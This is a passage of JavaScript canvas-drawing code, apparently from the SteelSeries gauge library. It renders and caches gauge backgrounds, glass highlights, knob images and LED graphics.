centerY, backgroundOffsetX); grad.addColorStop(0, 'rgba(0, 0, 0, 0)'); grad.addColorStop(0.7, 'rgba(0, 0, 0, 0)'); grad.addColorStop(0.71, 'rgba(0, 0, 0, 0)'); grad.addColorStop(0.86, 'rgba(0, 0, 0, 0.03)'); grad.addColorStop(0.92, 'rgba(0, 0, 0, 0.07)'); grad.addColorStop(0.97, 'rgba(0, 0, 0, 0.15)'); grad.addColorStop(1, 'rgba(0, 0, 0, 0.3)'); radBCtx.fillStyle = grad; radBCtx.beginPath(); radBCtx.arc(centerX, centerY, backgroundOffsetX, 0, TWO_PI, true); radBCtx.closePath(); radBCtx.fill(); // cache the buffer drawRadialBackgroundImage.cache[cacheKey] = radBBuffer; } ctx.drawImage(drawRadialBackgroundImage.cache[cacheKey], 0, 0); return this; }; drawRadialBackgroundImage.cache = {}; var drawRadialCustomImage = function (ctx, img, centerX, centerY, imageWidth, imageHeight) { var drawWidth = imageWidth * 0.831775, drawHeight = imageHeight * 0.831775, x = (imageWidth - drawWidth) / 2, y = (imageHeight - drawHeight) / 2; if (img !== null && img.height > 0 && img.width > 0) { ctx.save(); // Set the clipping area ctx.beginPath(); ctx.arc(centerX, centerY, imageWidth * 0.831775 / 2, 0, TWO_PI, true); ctx.clip(); // Add the image ctx.drawImage(img, x, y, drawWidth, drawHeight); ctx.restore(); } return this; }; var drawLinearBackgroundImage = function (ctx, backgroundColor, imageWidth, imageHeight, vertical) { var i, end, grad, fractions, colors, frameWidth, linBBuffer, linBCtx, linBColor, radius, turnRadius, centerX, centerY, stepSize, mono, textureColor, texture, cacheKey = imageWidth.toString() + imageHeight + vertical + backgroundColor.name; // check if we have already created and cached this buffer, if not create it if (!drawLinearBackgroundImage.cache[cacheKey]) { frameWidth = Math.sqrt(imageWidth * imageWidth + imageHeight * imageHeight) * 0.04; frameWidth = Math.ceil(Math.min(frameWidth, (vertical ? imageWidth : imageHeight) * 0.1)) - 1; var CORNER_RADIUS = Math.floor((vertical ? imageWidth : imageHeight) * 0.028571); // Setup buffer linBBuffer = createBuffer(imageWidth, imageHeight); linBCtx = linBBuffer.getContext('2d'); linBColor = backgroundColor; linBCtx.lineWidth = 0; roundedRectangle(linBCtx, frameWidth, frameWidth, imageWidth - frameWidth * 2, imageHeight - frameWidth * 2, CORNER_RADIUS); // If the backgroundColor is a texture fill it with the texture instead of the gradient if (backgroundColor.name === 'CARBON' || backgroundColor.name === 'PUNCHED_SHEET' || backgroundColor.name === 'STAINLESS' || backgroundColor.name === 'BRUSHED_METAL' || backgroundColor.name === 'BRUSHED_STAINLESS' || backgroundColor.name === 'TURNED') { if (backgroundColor.name === 'CARBON') { linBCtx.fillStyle = linBCtx.createPattern(carbonBuffer, 'repeat'); linBCtx.fill(); } if (backgroundColor.name === 'PUNCHED_SHEET') { linBCtx.fillStyle = linBCtx.createPattern(punchedSheetBuffer, 'repeat'); linBCtx.fill(); } if (backgroundColor.name === 'STAINLESS' || backgroundColor.name === 'TURNED') { // Define the fraction of the conical gradient paint fractions = [0, 0.03, 0.10, 0.14, 0.24, 0.33, 0.38, 0.5, 0.62, 0.67, 0.76, 0.81, 0.85, 0.97, 1]; // Define the colors of the conical gradient paint colors = [new RgbaColor('#FDFDFD'), new RgbaColor('#FDFDFD'), new RgbaColor('#B2B2B4'), new RgbaColor('#ACACAE'), new RgbaColor('#FDFDFD'), new RgbaColor('#8E8E8E'), new RgbaColor('#8E8E8E'), new RgbaColor('#FDFDFD'), new RgbaColor('#8E8E8E'), new RgbaColor('#8E8E8E'), new RgbaColor('#FDFDFD'), new RgbaColor('#ACACAE'), new RgbaColor('#B2B2B4'), new RgbaColor('#FDFDFD'), new RgbaColor('#FDFDFD')]; grad = new ConicalGradient(fractions, colors); // Set a clip as we will be drawing outside the required area linBCtx.clip(); grad.fillRect(linBCtx, imageWidth / 2, imageHeight / 2, imageWidth - frameWidth * 2, imageHeight - frameWidth * 2, imageWidth / 2, imageHeight / 2); // Add an additional inner shadow to fade out brightness at the top grad = linBCtx.createLinearGradient(0, frameWidth, 0, imageHeight - frameWidth * 2); grad.addColorStop(0, 'rgba(0, 0, 0, 0.25)'); grad.addColorStop(0.1, 'rgba(0, 0, 0, 0.05)'); grad.addColorStop(1, 'rgba(0, 0, 0, 0)'); linBCtx.fillStyle = grad; linBCtx.fill(); if (backgroundColor.name === 'TURNED') { // Define the turning radius radius = Math.sqrt((imageWidth - frameWidth * 2) * (imageWidth - frameWidth * 2) + (imageHeight - frameWidth * 2) * (imageHeight - frameWidth * 2)) / 2; turnRadius = radius * 0.55; centerX = imageWidth / 2; centerY = imageHeight / 2; // Step size proporational to radius stepSize = TWO_PI / 360 * (400 / radius); // Save before we start linBCtx.save(); // Set a clip as we will be drawing outside the required area roundedRectangle(linBCtx, frameWidth, frameWidth, imageWidth - frameWidth * 2, imageHeight - frameWidth * 2, CORNER_RADIUS); linBCtx.clip(); // set the style for the turnings linBCtx.lineWidth = 0.5; end = TWO_PI - stepSize * 0.3; // Step the engine round'n'round for (i = 0; i < end; i += stepSize) { // draw a 'turn' linBCtx.strokeStyle = 'rgba(240, 240, 255, 0.25)'; linBCtx.beginPath(); linBCtx.arc(centerX + turnRadius, centerY, turnRadius, 0, TWO_PI); linBCtx.stroke(); // rotate the 'piece' linBCtx.translate(centerX, centerY); linBCtx.rotate(stepSize * 0.3); linBCtx.translate(-centerX, -centerY); // draw a 'turn' linBCtx.strokeStyle = 'rgba(25, 10, 10, 0.1)'; linBCtx.beginPath(); linBCtx.arc(centerX + turnRadius, centerY, turnRadius, 0, TWO_PI); linBCtx.stroke(); linBCtx.translate(centerX, centerY); linBCtx.rotate(-stepSize * 0.3); linBCtx.translate(-centerX, -centerY); // rotate the 'piece' linBCtx.translate(centerX, centerY); linBCtx.rotate(stepSize); linBCtx.translate(-centerX, -centerY); } // Restore canvas now we are done linBCtx.restore(); } } // Add an additional inner shadow to make the look more realistic grad = linBCtx.createLinearGradient(frameWidth, frameWidth, imageWidth - frameWidth * 2, imageHeight - frameWidth * 2); grad.addColorStop(0, 'rgba(0, 0, 0, 0.25)'); grad.addColorStop(0.5, 'rgba(0, 0, 0, 0)'); grad.addColorStop(1, 'rgba(0, 0, 0, 0.25)'); linBCtx.fillStyle = grad; roundedRectangle(linBCtx, frameWidth, frameWidth, imageWidth - frameWidth * 2, imageHeight - frameWidth * 2, CORNER_RADIUS); linBCtx.fill(); if (backgroundColor.name === 'BRUSHED_METAL' || backgroundColor.name === 'BRUSHED_STAINLESS') { mono = (backgroundColor.name === 'BRUSHED_METAL' ? true : false); textureColor = parseInt(backgroundColor.gradientStop.getHexColor().substr(-6), 16); texture = brushedMetalTexture(textureColor, 5, 0.1, mono, 0.5); linBCtx.fillStyle = linBCtx.createPattern(texture.fill(0, 0, imageWidth, imageHeight), 'no-repeat'); linBCtx.fill(); } } else { grad = linBCtx.createLinearGradient(0, frameWidth, 0, imageHeight - frameWidth * 2); grad.addColorStop(0, backgroundColor.gradientStart.getRgbaColor()); grad.addColorStop(0.4, backgroundColor.gradientFraction.getRgbaColor()); grad.addColorStop(1, backgroundColor.gradientStop.getRgbaColor()); linBCtx.fillStyle = grad; linBCtx.fill(); } // Add a simple inner shadow colors = [ 'rgba(0, 0, 0, 0.30)', 'rgba(0, 0, 0, 0.20)', 'rgba(0, 0, 0, 0.13)', 'rgba(0, 0, 0, 0.09)', 'rgba(0, 0, 0, 0.06)', 'rgba(0, 0, 0, 0.04)', 'rgba(0, 0, 0, 0.03)' ]; for (i = 0 ; i < 7 ; i++) { linBCtx.strokeStyle = colors[i]; roundedRectangle(linBCtx, frameWidth + i, frameWidth + i, imageWidth - frameWidth * 2 - (2 * i), imageHeight - frameWidth * 2 - (2 * i), CORNER_RADIUS); linBCtx.stroke(); } // cache the buffer drawLinearBackgroundImage.cache[cacheKey] = linBBuffer; } ctx.drawImage(drawLinearBackgroundImage.cache[cacheKey], 0, 0); return this; }; drawLinearBackgroundImage.cache = {}; var drawRadialForegroundImage = function (ctx, foregroundType, imageWidth, imageHeight, withCenterKnob, knob, style, gaugeType, orientation) { var radFgBuffer, radFgCtx, knobSize = Math.ceil(imageHeight * 0.084112), knobX = imageWidth * 0.5 - knobSize / 2, knobY = imageHeight * 0.5 - knobSize / 2, shadowOffset = imageWidth * 0.008, gradHighlight, gradHighlight2, cacheKey = foregroundType.type + imageWidth + imageHeight + withCenterKnob + (knob !== undefined ? knob.type : '-') + (style !== undefined ? style.style : '-') + (orientation !== undefined ? orientation.type : '-'); // check if we have already created and cached this buffer, if so return it and exit if (!drawRadialForegroundImage.cache[cacheKey]) { // Setup buffer radFgBuffer = createBuffer(imageWidth, imageHeight); radFgCtx = radFgBuffer.getContext('2d'); // center post if (withCenterKnob) { // Set the pointer shadow params radFgCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; radFgCtx.shadowOffsetX = radFgCtx.shadowOffsetY = shadowOffset; radFgCtx.shadowBlur = shadowOffset * 2; if (gaugeType === steelseries.GaugeType.TYPE5) { if (steelseries.Orientation.WEST === orientation) { knobX = imageWidth * 0.733644 - knobSize / 2; radFgCtx.drawImage(createKnobImage(knobSize, knob, style), knobX, knobY); } else if (steelseries.Orientation.EAST === orientation) { knobX = imageWidth * (1 - 0.733644) - knobSize / 2; radFgCtx.drawImage(createKnobImage(knobSize, knob, style), knobX, knobY); } else { knobY = imageHeight * 0.733644 - knobSize / 2; radFgCtx.drawImage(createKnobImage(knobSize, knob, style), knobX, imageHeight * 0.6857); } } else { radFgCtx.drawImage(createKnobImage(knobSize, knob, style), knobX, knobY); } // Undo shadow drawing radFgCtx.shadowOffsetX = radFgCtx.shadowOffsetY = 0; radFgCtx.shadowBlur = 0; } // highlight switch (foregroundType.type) { case 'type2': radFgCtx.beginPath(); radFgCtx.moveTo(imageWidth * 0.135514, imageHeight * 0.696261); radFgCtx.bezierCurveTo(imageWidth * 0.214953, imageHeight * 0.588785, imageWidth * 0.317757, imageHeight * 0.5, imageWidth * 0.462616, imageHeight * 0.425233); radFgCtx.bezierCurveTo(imageWidth * 0.612149, imageHeight * 0.345794, imageWidth * 0.733644, imageHeight * 0.317757, imageWidth * 0.873831, imageHeight * 0.322429); radFgCtx.bezierCurveTo(imageWidth * 0.766355, imageHeight * 0.112149, imageWidth * 0.528037, imageHeight * 0.023364, imageWidth * 0.313084, imageHeight * 0.130841); radFgCtx.bezierCurveTo(imageWidth * 0.098130, imageHeight * 0.238317, imageWidth * 0.028037, imageHeight * 0.485981, imageWidth * 0.135514, imageHeight * 0.696261); radFgCtx.closePath(); gradHighlight = radFgCtx.createLinearGradient(0.313084 * imageWidth, 0.135514 * imageHeight, 0.495528 * imageWidth, 0.493582 * imageHeight); gradHighlight.addColorStop(0, 'rgba(255, 255, 255, 0.275)'); gradHighlight.addColorStop(1, 'rgba(255, 255, 255, 0.015)'); break; case 'type3': radFgCtx.beginPath(); radFgCtx.moveTo(imageWidth * 0.084112, imageHeight * 0.509345); radFgCtx.bezierCurveTo(imageWidth * 0.210280, imageHeight * 0.556074, imageWidth * 0.462616, imageHeight * 0.560747, imageWidth * 0.5, imageHeight * 0.560747); radFgCtx.bezierCurveTo(imageWidth * 0.537383, imageHeight * 0.560747, imageWidth * 0.794392, imageHeight * 0.560747, imageWidth * 0.915887, imageHeight * 0.509345); radFgCtx.bezierCurveTo(imageWidth * 0.915887, imageHeight * 0.275700, imageWidth * 0.738317, imageHeight * 0.084112, imageWidth * 0.5, imageHeight * 0.084112); radFgCtx.bezierCurveTo(imageWidth * 0.261682, imageHeight * 0.084112, imageWidth * 0.084112, imageHeight * 0.275700, imageWidth * 0.084112, imageHeight * 0.509345); radFgCtx.closePath(); gradHighlight = radFgCtx.createLinearGradient(0, 0.093457 * imageHeight, 0, 0.556073 * imageHeight); gradHighlight.addColorStop(0, 'rgba(255, 255, 255, 0.275)'); gradHighlight.addColorStop(1, 'rgba(255, 255, 255, 0.015)'); break; case 'type4': radFgCtx.beginPath(); radFgCtx.moveTo(imageWidth * 0.677570, imageHeight * 0.242990); radFgCtx.bezierCurveTo(imageWidth * 0.771028, imageHeight * 0.308411, imageWidth * 0.822429, imageHeight * 0.411214, imageWidth * 0.813084, imageHeight * 0.528037); radFgCtx.bezierCurveTo(imageWidth * 0.799065, imageHeight * 0.654205, imageWidth * 0.719626, imageHeight * 0.757009, imageWidth * 0.593457, imageHeight * 0.799065); radFgCtx.bezierCurveTo(imageWidth * 0.485981, imageHeight * 0.831775, imageWidth * 0.369158, imageHeight * 0.808411, imageWidth * 0.285046, imageHeight * 0.728971); radFgCtx.bezierCurveTo(imageWidth * 0.275700, imageHeight * 0.719626, imageWidth * 0.252336, imageHeight * 0.714953, imageWidth * 0.233644, imageHeight * 0.728971); radFgCtx.bezierCurveTo(imageWidth * 0.214953, imageHeight * 0.747663, imageWidth * 0.219626, imageHeight * 0.771028, imageWidth * 0.228971, imageHeight * 0.775700); radFgCtx.bezierCurveTo(imageWidth * 0.331775, imageHeight * 0.878504, imageWidth * 0.476635, imageHeight * 0.915887, imageWidth * 0.616822, imageHeight * 0.869158); radFgCtx.bezierCurveTo(imageWidth * 0.771028, imageHeight * 0.822429, imageWidth * 0.873831, imageHeight * 0.691588, imageWidth * 0.887850, imageHeight * 0.532710); radFgCtx.bezierCurveTo(imageWidth * 0.897196, imageHeight * 0.387850, imageWidth * 0.836448, imageHeight * 0.257009, imageWidth * 0.719626, imageHeight * 0.182242); radFgCtx.bezierCurveTo(imageWidth * 0.705607, imageHeight * 0.172897, imageWidth * 0.682242, imageHeight * 0.163551, imageWidth * 0.663551, imageHeight * 0.186915); radFgCtx.bezierCurveTo(imageWidth * 0.654205, imageHeight * 0.205607, imageWidth * 0.668224, imageHeight * 0.238317, imageWidth * 0.677570, imageHeight * 0.242990); radFgCtx.closePath(); gradHighlight = radFgCtx.createRadialGradient((0.5) * imageWidth, ((0.5) * imageHeight), 0, ((0.5) * imageWidth), ((0.5) * imageHeight), 0.387850 * imageWidth); gradHighlight.addColorStop(0, 'rgba(255, 255, 255, 0)'); gradHighlight.addColorStop(0.82, 'rgba(255, 255, 255, 0)'); gradHighlight.addColorStop(0.83, 'rgba(255, 255, 255, 0)'); gradHighlight.addColorStop(1, 'rgba(255, 255, 255, 0.15)'); radFgCtx.beginPath(); radFgCtx.moveTo(imageWidth * 0.261682, imageHeight * 0.224299); radFgCtx.bezierCurveTo(imageWidth * 0.285046, imageHeight * 0.238317, imageWidth * 0.252336, imageHeight * 0.285046, imageWidth * 0.242990, imageHeight * 0.317757); radFgCtx.bezierCurveTo(imageWidth * 0.242990, imageHeight * 0.350467, imageWidth * 0.271028, imageHeight * 0.383177, imageWidth * 0.271028, imageHeight * 0.397196); radFgCtx.bezierCurveTo(imageWidth * 0.275700, imageHeight * 0.415887, imageWidth * 0.261682, imageHeight * 0.457943, imageWidth * 0.238317, imageHeight * 0.509345); radFgCtx.bezierCurveTo(imageWidth * 0.224299, imageHeight * 0.542056, imageWidth * 0.177570, imageHeight * 0.612149, imageWidth * 0.158878, imageHeight * 0.612149); radFgCtx.bezierCurveTo(imageWidth * 0.144859, imageHeight * 0.612149, imageWidth * 0.088785, imageHeight * 0.546728, imageWidth * 0.130841, imageHeight * 0.369158); radFgCtx.bezierCurveTo(imageWidth * 0.140186, imageHeight * 0.336448, imageWidth * 0.214953, imageHeight * 0.200934, imageWidth * 0.261682, imageHeight * 0.224299); radFgCtx.closePath(); gradHighlight2 = radFgCtx.createLinearGradient(0.130841 * imageWidth, 0.369158 * imageHeight, 0.273839 * imageWidth, 0.412877 * imageHeight); gradHighlight2.addColorStop(0, 'rgba(255, 255, 255, 0.275)'); gradHighlight2.addColorStop(1, 'rgba(255, 255, 255, 0.015)'); radFgCtx.fillStyle = gradHighlight2; radFgCtx.fill(); break; case 'type5': radFgCtx.beginPath(); radFgCtx.moveTo(imageWidth * 0.084112, imageHeight * 0.5); radFgCtx.bezierCurveTo(imageWidth * 0.084112, imageHeight * 0.271028, imageWidth * 0.271028, imageHeight * 0.084112, imageWidth * 0.5, imageHeight * 0.084112); radFgCtx.bezierCurveTo(imageWidth * 0.700934, imageHeight * 0.084112, imageWidth * 0.864485, imageHeight * 0.224299, imageWidth * 0.906542, imageHeight * 0.411214); radFgCtx.bezierCurveTo(imageWidth * 0.911214, imageHeight * 0.439252, imageWidth * 0.911214, imageHeight * 0.518691, imageWidth * 0.845794, imageHeight * 0.537383); radFgCtx.bezierCurveTo(imageWidth * 0.794392, imageHeight * 0.546728, imageWidth * 0.551401, imageHeight * 0.411214, imageWidth * 0.392523, imageHeight * 0.457943); radFgCtx.bezierCurveTo(imageWidth * 0.168224, imageHeight * 0.509345, imageWidth * 0.135514, imageHeight * 0.775700, imageWidth * 0.093457, imageHeight * 0.593457); radFgCtx.bezierCurveTo(imageWidth * 0.088785, imageHeight * 0.560747, imageWidth * 0.084112, imageHeight * 0.532710, imageWidth * 0.084112, imageHeight * 0.5); radFgCtx.closePath(); gradHighlight = radFgCtx.createLinearGradient(0, 0.084112 * imageHeight, 0, 0.644859 * imageHeight); gradHighlight.addColorStop(0, 'rgba(255, 255, 255, 0.275)'); gradHighlight.addColorStop(1, 'rgba(255, 255, 255, 0.015)'); break; case 'type1': /* falls through */ default: radFgCtx.beginPath(); radFgCtx.moveTo(imageWidth * 0.084112, imageHeight * 0.509345); radFgCtx.bezierCurveTo(imageWidth * 0.205607, imageHeight * 0.448598, imageWidth * 0.336448, imageHeight * 0.415887, imageWidth * 0.5, imageHeight * 0.415887); radFgCtx.bezierCurveTo(imageWidth * 0.672897, imageHeight * 0.415887, imageWidth * 0.789719, imageHeight * 0.443925, imageWidth * 0.915887, imageHeight * 0.509345); radFgCtx.bezierCurveTo(imageWidth * 0.915887, imageHeight * 0.275700, imageWidth * 0.738317, imageHeight * 0.084112, imageWidth * 0.5, imageHeight * 0.084112); radFgCtx.bezierCurveTo(imageWidth * 0.261682, imageHeight * 0.084112, imageWidth * 0.084112, imageHeight * 0.275700, imageWidth * 0.084112, imageHeight * 0.509345); radFgCtx.closePath(); gradHighlight = radFgCtx.createLinearGradient(0, 0.088785 * imageHeight, 0, 0.490654 * imageHeight); gradHighlight.addColorStop(0, 'rgba(255, 255, 255, 0.275)'); gradHighlight.addColorStop(1, 'rgba(255, 255, 255, 0.015)'); break; } radFgCtx.fillStyle = gradHighlight; radFgCtx.fill(); // cache the buffer drawRadialForegroundImage.cache[cacheKey] = radFgBuffer; } ctx.drawImage(drawRadialForegroundImage.cache[cacheKey], 0, 0); return this; }; drawRadialForegroundImage.cache = {}; var drawLinearForegroundImage = function (ctx, imageWidth, imageHeight, vertical) { var linFgBuffer, linFgCtx, foregroundGradient, frameWidth, fgOffset, fgOffset2, cacheKey = imageWidth.toString() + imageHeight + vertical; // check if we have already created and cached this buffer, if not create it if (!drawLinearForegroundImage.cache[cacheKey]) { // Setup buffer linFgBuffer = createBuffer(imageWidth, imageHeight); linFgCtx = linFgBuffer.getContext('2d'); frameWidth = Math.sqrt(imageWidth * imageWidth + imageHeight * imageHeight) * 0.04; frameWidth = Math.min(frameWidth, (vertical ? imageWidth : imageHeight) * 0.1); fgOffset = frameWidth * 1.3; fgOffset2 = fgOffset * 1.33; linFgCtx.beginPath(); linFgCtx.moveTo(fgOffset, imageHeight - fgOffset); linFgCtx.lineTo(imageWidth - fgOffset, imageHeight - fgOffset); linFgCtx.bezierCurveTo(imageWidth - fgOffset, imageHeight - fgOffset, imageWidth - fgOffset2, imageHeight * 0.7, imageWidth - fgOffset2, imageHeight * 0.5); linFgCtx.bezierCurveTo(imageWidth - fgOffset2, fgOffset2, imageWidth - fgOffset, fgOffset, imageWidth - frameWidth, fgOffset); linFgCtx.lineTo(fgOffset, fgOffset); linFgCtx.bezierCurveTo(fgOffset, fgOffset, fgOffset2, imageHeight * 0.285714, fgOffset2, imageHeight * 0.5); linFgCtx.bezierCurveTo(fgOffset2, imageHeight * 0.7, fgOffset, imageHeight - fgOffset, frameWidth, imageHeight - fgOffset); linFgCtx.closePath(); foregroundGradient = linFgCtx.createLinearGradient(0, (imageHeight - frameWidth), 0, frameWidth); foregroundGradient.addColorStop(0, 'rgba(255, 255, 255, 0)'); foregroundGradient.addColorStop(0.06, 'rgba(255, 255, 255, 0)'); foregroundGradient.addColorStop(0.07, 'rgba(255, 255, 255, 0)'); foregroundGradient.addColorStop(0.12, 'rgba(255, 255, 255, 0)'); foregroundGradient.addColorStop(0.17, 'rgba(255, 255, 255, 0.013546)'); foregroundGradient.addColorStop(0.1701, 'rgba(255, 255, 255, 0)'); foregroundGradient.addColorStop(0.79, 'rgba(255, 255, 255, 0)'); foregroundGradient.addColorStop(0.8, 'rgba(255, 255, 255, 0)'); foregroundGradient.addColorStop(0.84, 'rgba(255, 255, 255, 0.082217)'); foregroundGradient.addColorStop(0.93, 'rgba(255, 255, 255, 0.288702)'); foregroundGradient.addColorStop(0.94, 'rgba(255, 255, 255, 0.298039)'); foregroundGradient.addColorStop(0.96, 'rgba(255, 255, 255, 0.119213)'); foregroundGradient.addColorStop(0.97, 'rgba(255, 255, 255, 0)'); foregroundGradient.addColorStop(1, 'rgba(255, 255, 255, 0)'); linFgCtx.fillStyle = foregroundGradient; linFgCtx.fill(); // cache the buffer drawLinearForegroundImage.cache[cacheKey] = linFgBuffer; } ctx.drawImage(drawLinearForegroundImage.cache[cacheKey], 0, 0); return this; }; drawLinearForegroundImage.cache = {}; var createKnobImage = function (size, knob, style) { var knobBuffer, knobCtx, maxPostCenterX = size / 2, maxPostCenterY = size / 2, grad, cacheKey = size.toString() + knob.type + style.style; // check if we have already created and cached this buffer, if not create it if (!createKnobImage.cache[cacheKey]) { knobBuffer = createBuffer(size * 1.18889, size * 1.18889); knobCtx = knobBuffer.getContext('2d'); switch (knob.type) { case 'metalKnob': // METALKNOB_FRAME knobCtx.beginPath(); knobCtx.moveTo(0, size * 0.5); knobCtx.bezierCurveTo(0, size * 0.222222, size * 0.222222, 0, size * 0.5, 0); knobCtx.bezierCurveTo(size * 0.777777, 0, size, size * 0.222222, size, size * 0.5); knobCtx.bezierCurveTo(size, size * 0.777777, size * 0.777777, size, size * 0.5, size); knobCtx.bezierCurveTo(size * 0.222222, size, 0, size * 0.777777, 0, size * 0.5); knobCtx.closePath(); grad = knobCtx.createLinearGradient(0, 0, 0, size); grad.addColorStop(0, 'rgb(92, 95, 101)'); grad.addColorStop(0.47, 'rgb(46, 49, 53)'); grad.addColorStop(1, 'rgb(22, 23, 26)'); knobCtx.fillStyle = grad; knobCtx.fill(); // METALKNOB_MAIN knobCtx.beginPath(); knobCtx.moveTo(size * 0.055555, size * 0.5); knobCtx.bezierCurveTo(size * 0.055555, size * 0.277777, size * 0.277777, size * 0.055555, size * 0.5, size * 0.055555); knobCtx.bezierCurveTo(size * 0.722222, size * 0.055555, size * 0.944444, size * 0.277777, size * 0.944444, size * 0.5); knobCtx.bezierCurveTo(size * 0.944444, size * 0.722222, size * 0.722222, size * 0.944444, size * 0.5, size * 0.944444); knobCtx.bezierCurveTo(size * 0.277777, size * 0.944444, size * 0.055555, size * 0.722222, size * 0.055555, size * 0.5); knobCtx.closePath(); grad = knobCtx.createLinearGradient(0, 0.055555 * size, 0, 0.944443 * size); switch (style.style) { case 'black': grad.addColorStop(0, 'rgb(43, 42, 47)'); grad.addColorStop(1, 'rgb(26, 27, 32)'); break; case 'brass': grad.addColorStop(0, 'rgb(150, 110, 54)'); grad.addColorStop(1, 'rgb(124, 95, 61)'); break; case 'silver': /* falls through */ default: grad.addColorStop(0, 'rgb(204, 204, 204)'); grad.addColorStop(1, 'rgb(87, 92, 98)'); break; } knobCtx.fillStyle = grad; knobCtx.fill(); // METALKNOB_LOWERHL knobCtx.beginPath(); knobCtx.moveTo(size * 0.777777, size * 0.833333); knobCtx.bezierCurveTo(size * 0.722222, size * 0.722222, size * 0.611111, size * 0.666666, size * 0.5, size * 0.666666); knobCtx.bezierCurveTo(size * 0.388888, size * 0.666666, size * 0.277777, size * 0.722222, size * 0.222222, size * 0.833333); knobCtx.bezierCurveTo(size * 0.277777, size * 0.888888, size * 0.388888, size * 0.944444, size * 0.5, size * 0.944444); knobCtx.bezierCurveTo(size * 0.611111, size * 0.944444, size * 0.722222, size * 0.888888, size * 0.777777, size * 0.833333); knobCtx.closePath(); grad = knobCtx.createRadialGradient((0.555555) * size, ((0.944444) * size), 0, ((0.555555) * size), ((0.944444) * size), 0.388888 * size); grad.addColorStop(0, 'rgba(255, 255, 255, 0.6)'); grad.addColorStop(1, 'rgba(255, 255, 255, 0)'); knobCtx.fillStyle = grad; knobCtx.fill(); // METALKNOB_UPPERHL knobCtx.beginPath(); knobCtx.moveTo(size * 0.944444, size * 0.277777); knobCtx.bezierCurveTo(size * 0.833333, size * 0.111111, size * 0.666666, 0, size * 0.5, 0); knobCtx.bezierCurveTo(size * 0.333333, 0, size * 0.166666, size * 0.111111, size * 0.055555, size * 0.277777); knobCtx.bezierCurveTo(size * 0.166666, size * 0.333333, size * 0.333333, size * 0.388888, size * 0.5, size * 0.388888); knobCtx.bezierCurveTo(size * 0.666666, size * 0.388888, size * 0.833333, size * 0.333333, size * 0.944444, size * 0.277777); knobCtx.closePath(); grad = knobCtx.createRadialGradient(0.5 * size, 0, 0, ((0.5) * size), 0, 0.583333 * size); grad.addColorStop(0, 'rgba(255, 255, 255, 0.749019)'); grad.addColorStop(1, 'rgba(255, 255, 255, 0)'); knobCtx.fillStyle = grad; knobCtx.fill(); // METALKNOB_INNERFRAME knobCtx.beginPath(); knobCtx.moveTo(size * 0.277777, size * 0.555555); knobCtx.bezierCurveTo(size * 0.277777, size * 0.388888, size * 0.388888, size * 0.277777, size * 0.5, size * 0.277777); knobCtx.bezierCurveTo(size * 0.611111, size * 0.277777, size * 0.777777, size * 0.388888, size * 0.777777, size * 0.555555); knobCtx.bezierCurveTo(size * 0.777777, size * 0.666666, size * 0.611111, size * 0.777777, size * 0.5, size * 0.777777); knobCtx.bezierCurveTo(size * 0.388888, size * 0.777777, size * 0.277777, size * 0.666666, size * 0.277777, size * 0.555555); knobCtx.closePath(); grad = knobCtx.createLinearGradient(0, 0.277777 * size, 0, 0.722221 * size); grad.addColorStop(0, '#000000'); grad.addColorStop(1, 'rgb(204, 204, 204)'); knobCtx.fillStyle = grad; knobCtx.fill(); // METALKNOB_INNERBACKGROUND knobCtx.beginPath(); knobCtx.moveTo(size * 0.333333, size * 0.555555); knobCtx.bezierCurveTo(size * 0.333333, size * 0.444444, size * 0.388888, size * 0.333333, size * 0.5, size * 0.333333); knobCtx.bezierCurveTo(size * 0.611111, size * 0.333333, size * 0.722222, size * 0.444444, size * 0.722222, size * 0.555555); knobCtx.bezierCurveTo(size * 0.722222, size * 0.611111, size * 0.611111, size * 0.722222, size * 0.5, size * 0.722222); knobCtx.bezierCurveTo(size * 0.388888, size * 0.722222, size * 0.333333, size * 0.611111, size * 0.333333, size * 0.555555); knobCtx.closePath(); grad = knobCtx.createLinearGradient(0, 0.333333 * size, 0, 0.666666 * size); grad.addColorStop(0, 'rgb(10, 9, 1)'); grad.addColorStop(1, 'rgb(42, 41, 37)'); knobCtx.fillStyle = grad; knobCtx.fill(); break; case 'standardKnob': grad = knobCtx.createLinearGradient(0, 0, 0, size); grad.addColorStop(0, 'rgb(180, 180, 180)'); grad.addColorStop(0.46, 'rgb(63, 63, 63)'); grad.addColorStop(1, 'rgb(40, 40, 40)'); knobCtx.fillStyle = grad; knobCtx.beginPath(); knobCtx.arc(maxPostCenterX, maxPostCenterY, size / 2, 0, TWO_PI, true); knobCtx.closePath(); knobCtx.fill(); grad = knobCtx.createLinearGradient(0, size - size * 0.77, 0, size - size * 0.77 + size * 0.77); switch (style.style) { case 'black': grad.addColorStop(0, 'rgb(191, 191, 191)'); grad.addColorStop(0.5, 'rgb(45, 44, 49)'); grad.addColorStop(1, 'rgb(125, 126, 128)'); break; case 'brass': grad.addColorStop(0, 'rgb(223, 208, 174)'); grad.addColorStop(0.5, 'rgb(123, 95, 63)'); grad.addColorStop(1, 'rgb(207, 190, 157)'); break; case 'silver': /* falls through */ default: grad.addColorStop(0, 'rgb(215, 215, 215)'); grad.addColorStop(0.5, 'rgb(116, 116, 116)'); grad.addColorStop(1, 'rgb(215, 215, 215)'); break; } knobCtx.fillStyle = grad; knobCtx.beginPath(); knobCtx.arc(maxPostCenterX, maxPostCenterY, size * 0.77 / 2, 0, TWO_PI, true); knobCtx.closePath(); knobCtx.fill(); grad = knobCtx.createRadialGradient(maxPostCenterX, maxPostCenterY, 0, maxPostCenterX, maxPostCenterY, size * 0.77 / 2); grad.addColorStop(0, 'rgba(0, 0, 0, 0)'); grad.addColorStop(0.75, 'rgba(0, 0, 0, 0)'); grad.addColorStop(0.76, 'rgba(0, 0, 0, 0.01)'); grad.addColorStop(1, 'rgba(0, 0, 0, 0.2)'); knobCtx.fillStyle = grad; knobCtx.beginPath(); knobCtx.arc(maxPostCenterX, maxPostCenterY, size * 0.77 / 2, 0, TWO_PI, true); knobCtx.closePath(); knobCtx.fill(); break; } // cache the buffer createKnobImage.cache[cacheKey] = knobBuffer; } return createKnobImage.cache[cacheKey]; }; createKnobImage.cache = {}; var createLedImage = function (size, state, ledColor) { var ledBuffer, ledCtx, ledCenterX = size / 2, ledCenterY = size / 2, grad, cacheKey = size.toString() + state + ledColor.outerColor_ON; // check if we have already created and cached this buffer, if not create it if (!createLedImage.cache[cacheKey]) { ledBuffer = createBuffer(size, size); ledCtx = ledBuffer.getContext('2d'); switch (state) { case 0: // LED OFF // OFF Gradient grad = ledCtx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, size * 0.5 / 2); grad.addColorStop(0, 